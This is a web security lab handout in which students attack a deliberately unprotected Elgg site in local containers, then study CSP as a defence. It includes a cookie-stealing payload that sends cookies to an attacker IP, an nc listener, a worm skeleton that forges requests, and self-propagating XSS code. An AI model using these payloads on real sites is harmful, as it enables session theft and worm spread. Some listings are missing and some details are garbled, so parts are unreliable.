Cross-Site Scripting (XSS) Attack Lab on Elgg WebApp

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1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles.

In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm [1]. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.

This lab covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax
- Content Security Policy (CSP)

2 Lab Environment Setup

2.1 Containers Setup

Please download the Labsetup.zip file to your machine (or in you VM, if you are using it) from Moodle, unzip it, enter the Labsetup folder, and use the docker-compose.yml file to set up the lab environment. You can find more details and ways to resolve some problems in this manual.

In the following, we list some of the commonly used commands related to docker-compose. Since we are going to use these commands very frequently, we have created aliases for them in the .bashrc file (already configured in our provided VM, but you can easily add them to your local favourite rc file).

```
$ docker-compose build # Build the container image
$ docker-compose up  # Start the container
$ docker-compose down # Shut down the container

// Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup  # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the "docker ps" command to find out the ID of the container, and then use "docker exec" to start a shell on that container. We have created aliases for them in the .bashrc file.

Note that if a Docker command requires a container ID, you do not need to type the entire ID string. Typing the first few characters will be sufficient, as long as they are unique among all the containers.

If you want to use your local rc file, you can simply paste at the end the following:

```
# Aliases for the Docker Compose
alias dcbuild='sudo docker-compose build' # Alias for: docker-compose build
alias dcup='sudo docker-compose up' # Alias for: docker-compose up
alias dcdown='sudo docker-compose down' # Alias for: docker-compose down
alias dockps='sudo docker ps --format "{{.ID}} {{.Names}}"'
alias docksh='f(){ sudo docker exec -it $1 /bin/bash; unset -f f; }; f'
```

Then, remember to relaunch the terminal or source your rc file.

2.2 DNS Setup

We have set up several websites for this lab. They are hosted by the container 10.9.0.5. We need to map the names of the web server to this IP address. Please add the following entries to /etc/hosts. You need

to use the root privilege to modify this file (e.g., using sudo nano /etc/hosts or by using your favourite text editor):

10.9.0.5	www.seed-server.com
10.9.0.5	www.example32a.com
10.9.0.5	www.example32b.com
10.9.0.5	www.example32c.com
10.9.0.5	www.example60.com
10.9.0.5	www.example70.com

2.3 Elgg Web Application

We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the provided container images; its URL is http://www.seed-server.com. We use two containers, one running the web server (10.9.0.5), and the other running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them from the docker-compose.yml file.

MySQL database. Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this lab, we do want to keep the data in the MySQL database, so we do not lose our work when we shutdown our container. To achieve this, we have mounted the mysql_data folder on the host machine (inside Labsetup, it will be created after the MySQL container runs once) to the /var/lib/mysql folder inside the MySQL container. This folder is where MySQL stores its database. Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from a clean database, you can remove this folder:

\$ sudo rm -rf mysql_data

User accounts. We have created several user accounts on the Elgg server; the user name and passwords are given in the following.

UserName	I	Password
admin	1	seedelgg
alice	1	seedalice
boby	1	seedboby
charlie	1	seedcharlie
samy	1	seedsamy

3 Lab Tasks

3.1 Preparation: Getting Familiar with the "HTTP Header Live" tool

In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox add-on called "HTTP Header Live" for this purpose. Before you start working on this lab, you should get familiar with this tool. Instructions on how to use this tool is given in the Guideline section (Section 5).

There are different alternatives to this tool. On Chrome, you can use a similar add-on called "Tamper Chrome". The most advanced solution is Burp Suite. It is a swiss-knife regarding web application hacking and can be used to perform almost every type of analysis and attack on web applications. The free Community version is enough for this lab (and also for the majority of the users). You can find a guide on how to use it on the PortSwigger website [2]. If you are intereset in web hacking it is a must-have tool.

3.2 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag. See the following example:

```
<script type="text/javascript"
    src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from http://www.example.com, which can be any web server.

3.3 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

3.4 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine (with IP address 10.9.0.1), where the attacker has a TCP server listening to the same port.

```
<script>
  document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>
```

A commonly used program by attackers is netcat (or nc), which, if running with the "-1" option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the command below to listen on port 5555:

```
$ nc -lknv 5555
```

The -1 option is used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. The -nv option is used to have nc give more verbose output. The -k option means when a connection is completed, listen for another one.

3.5 Task 4: Becoming the Victim's Friend

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm [1]). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy's page. This worm does not self-propagate; in task 6, we will make it self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox's HTTP inspection tool can help us get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. Section 5 provides guidelines on how to use the tool. Once we understand what the add-friend HTTP request look like, we can write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

The above code should be placed in the "About Me" field of Samy's profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on "Edit HTML", which can be found at the top right of the "About Me" text field.

Questions. Please answer the following questions:

- 1. Explain the purpose of Lines (1) and (2), why are they are needed?
- 2. If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

3.6 Task 5: Modifying the Victim's Profile

The objective of this task is to modify the victim's profile when the victim visits Samy's page. Specifically, modify the victim's "About Me" field. We will write an XSS worm to complete the task. This worm does not self-propagate; in task 6, we will make it self-propagating.

Similar to the previous task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user's profile. We will use Firefox's HTTP inspection tool. Once we understand how the modify-profile HTTP POST request looks like, we can write

a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">
   window.onload = function() {
        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
        //and Security Token __elgg_token
        var userName="%name="+elgg.session.user.name;
        var guid="%guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        //Construct the content of your url.
        var content=...; //FILL IN
        var samyGuid=...; //FILL IN
        var sendurl=...; //FILL IN
        if(elgg.session.user.guid != samyGuid) {
                                                                     // (1)
            //Create and send Ajax request to modify profile
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Content-Type",
                                  "application/x-www-form-urlencoded");
            Ajax.send(content);
       }
   }
</script>
```

Similar to Task 4, the above code should be placed in the "About Me" field of Samy's profile page, and the Text mode should be enabled before entering the above JavaScript code.

Why do we need Line (1)? Remove this line, and repeat your attack. Report and explain your observation.

3.7 Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the *Samy Worm*: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm.

In this task, you need to implement such a worm, which not only modifies the victim's profile and adds the user "Samy" as a friend, but also add a copy of the worm itself to the victim's profile, so the victim is turned into an attacker. To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches.

Link Approach: If the worm is included using the src attribute in the <script> tag, writing selfpropagating worms is much easier. We have discussed the src attribute in Task 1, and an example is given below. The worm can simply copy the following <script> tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
```

DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:

```
<script id="worm">
   var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; // (1)
   var jsCode = document.getElementById("worm").innerHTML; // (2)
   var tailTag = "</" + "script>"; // (3)
   var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); // (4)
   alert(jsCode);
</script>
```

It should be noted that innerHTML (line (2)) only gives us the inside part of the code, not including the surrounding script tags. We just need to add the beginning tag <script id="worm"> (line (1)) and the ending tag </script> (line (3)) to form an identical copy of the malicious code. When data are sent in HTTP POST requests with the Content-Type set to application/x-wwwform-urlencoded, which is the type used in our code, the data should also be encoded. The encoding scheme is called URL encoding, which replaces non-alphanumeric characters in the data with %HH, a percentage sign and two hexadecimal digits representing the ASCII code of the character. The encodeURIComponent() function in line (4) is used to URL-encode a string.

You can try both Link and DOM approaches, but the DOM approach is advised, because it is more challenging and it does not rely on external JavaScript code.

4 Elgg's Countermeasures

This sub-section is only for information, and there is no specific task to do. It shows how Elgg defends against the XSS attack. Elgg does have built-in countermeasures, and we have disabled them to make the attack work. Actually, Elgg uses two countermeasures. One is a custom built security plugin HTMLawed, which validates the user input and removes the tags from the input. We have commented out the invocation of the plugin inside the filter tags() function in input.php, which is located inside vendor/elgg/elgg/engine/lib/. See the following:

```
function filter_tags($var) {
    // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
    return $var;
}
```

In addition to HTMLawed, Elgg also uses PHP's built-in method htmlspecialchars() to encode the special characters in user input, such as encoding "<" to "<", ">" to ">", etc. This method is invoked in dropdown.php, text.php, and url.php inside the vendor/elgg/elgg/views/default/output/ folder. We have commented them out to turn off the countermeasure.

5 Task 7: Defeating XSS Attacks Using CSP (optional)

The fundamental problem of the XSS vulnerability is that HTML allows JavaScript code to be mixed with data. Therefore, to fix this fundamental problem, we need to separate code from data. There are two ways to include JavaScript code inside an HTML page, one is the *inline* approach, and the other is the *link* approach. The inline approach directly places code inside the page, while the link approach puts the code in an external file, and then link to it from inside the page.

The inline approach is the culprit of the XSS vulnerability, because browsers do not know where the code originally comes from: is it from the trusted web server or from untrusted users? Without such knowledge, browsers do not know which code is safe to execute, and which one is dangerous. The link approach provides a very important piece of information to browsers, i.e., where the code comes from. Websites can then tell browsers which sources are trustworthy, so browsers know which piece of code is safe to execute. Although attackers can also use the link approach to include code in their input, they cannot place their code in those trustworthy places.

How websites tell browsers which code source is trustworthy is achieved using a security mechanism called **Content Security Policy** (CSP). This mechanism is specifically designed to defeat XSS and ClickJacking attacks. It has become a standard, which is supported by most browsers nowadays. CSP not only restricts JavaScript code, it also restricts other page contents, such as limiting where pictures, audio, and video can come from, as well as restricting whether a page can be put inside an iframe or not (used for defeating ClickJacking attacks). Here, we will only focus on how to use CSP to defeat XSS attacks.

5.1 Experiment Website setup

To conduct experiments on CSP, we will set up several websites. Inside the Labsetup/image_www docker image folder, there is a file called apache_csp.conf. It defines five websites, which share the same folder, but they will use different files in this folder. The example60 and example70 sites are used for hosting JavaScript code. The example32a, example32b, and example32c are the three websites that have different CSP configurations. Details of the configuration will be explained later.

Changing the configuration file. In the experiment, you need to modify this Apache configuration file (apache_csp.conf). If you make a modification directly on the file inside the image folder, you need to rebuild the image and restart the container, so the change can take effect.

You can also modify the file while the container is running. The downside of this option is that in order to keep the docker image small, we have only installed a very simple text editor called nano inside the container. It should be sufficient for simple editing. If you do not like it, you can always add an installation command to the Dockerfile to install your favorite command-line text editor. On the running container, you can find the configuration file apache_csp.conf inside the /etc/apache2/sites-available folder. After making changes, you need to restart the Apache server for the changes to take effect:

service apache2 restart

DNS Setup. To access the websites through their respective URLs, we need to add the following entries to the /etc/hosts file (if you have not done so already at the beginning of the lab), so these hostnames are mapped to the IP address of the server container (10.9.0.5). You need to use the root privilege to change this file (using sudo).

```
      10.9.0.5
      www.example32a.com

      10.9.0.5
      www.example32b.com

      10.9.0.5
      www.example32c.com

      10.9.0.5
      www.example60.com

      10.9.0.5
      www.example70.com
```

5.2 The web page for the experiment

The example32(a|b|c) servers host the same web page index.html, which is used to demonstrate how the CSP policies work. In this page, there are six areas, area1 to area6. Initially, each area displays "Failed". The page also includes six pieces of JavaScript code, each trying to write "OK" to its corresponding area. If we can see OK in an area, that means, the JavaScript code corresponding to that area has been executed successfully; otherwise, we would see Failed. There is also a button on this page. If it is clicked, a message will pop up, if the underlying JavaScript code gets triggered.

```
<!-- Listing 1: The experiment web page index.html -->
<html>
```

```
<h2 >CSP Experiment</h2>
   1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span>
   2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span>
   3. Inline: No Nonce: <span id='area3'>Failed</span>
   4. From self: <span id='area4'>Failed</span>
   5. From www.example60.com: <span id='area5'>Failed</span>
   6. From www.example70.com: <span id='area6'>Failed</span>
   7. From button click: <button onclick="alert('JS Code executed!')">Click me</button>
   <script type="text/javascript" nonce="111-111-111">
       document.getElementById('area1').innerHTML = "OK";
   </script>
   <script type="text/javascript" nonce="222-222-222">
       document.getElementById('area2').innerHTML = "OK";
   </script>
   <script type="text/javascript">
       document.getElementById('area3').innerHTML = "OK";
   </script>
   <script src="script_area4.js"> </script>
   <script src="http://www.example60.com/script_area5.js"> </script>
   <script src="http://www.example70.com/script_area6.js"> </script>
</html>
```

5.3 Setting CSP Policies

CSP is set by the web server as an HTTP header. There are two typical ways to set the header, by the web server (such as Apache) or by the web application. In this experiment, we will conduct experiments using both approaches.

CSP configuration by Apache. Apache can set HTTP headers for all the responses, so we can use Apache to set CSP policies. In our configuration, we set up three websites, but only the second one sets CSP policies (the lines marked by (*)). With this setup, when we visit example32b, Apache will add the specified CSP header to all the response from this site.

```
# Purpose: Do not set CSP policies
<VirtualHost *:80>
   DocumentRoot /var/www/csp
   ServerName www.example32a.com
   DirectoryIndex index.html
</VirtualHost>
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
   DocumentRoot /var/www/csp
   ServerName www.example32b.com
   DirectoryIndex index.html
   Header set Content-Security-Policy " \
                                                       \\ (*)
            default-src 'self'; \
                                                       \\ (*)
            script-src 'self' *.example70.com \
                                                      \\ (*)
</VirtualHost>
```

```
# Purpose: Setting CSP policies in web applications

<VirtualHost *:80> \\ (+)
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php

</VirtualHost>
```

CSP configuration by web applications. For the third VirtualHost entry in our configuration file (marked by (+)), we did not set up any CSP policy. However, instead of accessing index.html, the entry point of this site is phpindex.php, which is a PHP program. This program, listed below, adds a CSP header to the response generated from the program.

5.4 Lab tasks

After starting the containers and making changes to the /etc/hosts, please visit the following URLs:

```
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
```

- 1. Describe and explain your observations when you visit these websites.
- 2. Click the button in the web pages from all the three websites, describe and explain your observations.
- 3. Change the server configuration on example 32b (modify the Apache configuration), so Areas 5 and 6 display OK.
- 4. Change the server configuration on example32c (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display OK.
- 5. Please explain why CSP can help prevent Cross-Site Scripting attacks.

6 Guidelines

6.1 Using the "HTTP Header Live" add-on to Inspect HTTP Headers

The version of Firefox in our Ubuntu 20.04 VM does not support the LiveHTTPHeader add-on, which was used in our Ubuntu 12.04 VM. A new add-on called "HTTP Header Live" is used in its place. You can enable the tool by clicking on the light blue icon on the top right of Firefox (Figure 1). Then click any link inside a web page, all the triggered HTTP requests will be captured and displayed inside the window area in the left.



Figure 1. An example of usage of HTTP Header Live.

6.2 Using the Web Developer Tool to Inspect HTTP Headers

There is another tool provided by Firefox that can be quite useful in inspecting HTTP headers. The tool is the Web Developer Network Tool. In this section, we cover some of the important features of the tool. The Web Developer Network Tool can be enabled via the following navigation:

Click Firefox's top right menu --> Web Developer --> Network or Click the "Tools" menu --> Web Developer --> Network

We use the user login page in Elgg as an example. Figure 2 shows the Network Tool showing the HTTP POST request that was used for login.



Figure 2: HTTP Request in Web Developer Network Tool

To further see the details of the request, we can click on a particular HTTP request and the tool will show the information in two panes.

6.3 JavaScript Debugging

We may also need to debug our JavaScript code. Firefox's Developer Tool can also help debug JavaScript code. It can point us to the precise places where errors occur. The following instruction shows how to enable this debugging tool:

Click the "Tools" menu --> Web Developer --> Web Console or use the Shift+Ctrl+K shortcut.

Once we are in the web console, click the JS tab. Click the downward pointing arrowhead beside JS and ensure there is a check mark beside Error. If you are also interested in Warning messages, click Warning. If there are any errors in the code, a message will display in the console. The line that caused the error appears on the right side of the error message in the console. Click on the line number and you will be taken to the exact place that has the error.

6.4 Alternatives

As metioned, there are many alternatives to this tools, which are offered from Chrome as well. The most complete and advised solution to work and modify on-the-fly HTTP requests is Burp Suite [2].

7 References

- [1] EP 61: Samy, 17 march 2020, https://darknetdiaries.com/episode/61/
- $[2] \ PortSwigger, \ \textit{Getting started with Burp Suite}, \ https://portswigger.net/burp/documentation/desktop/getting-started$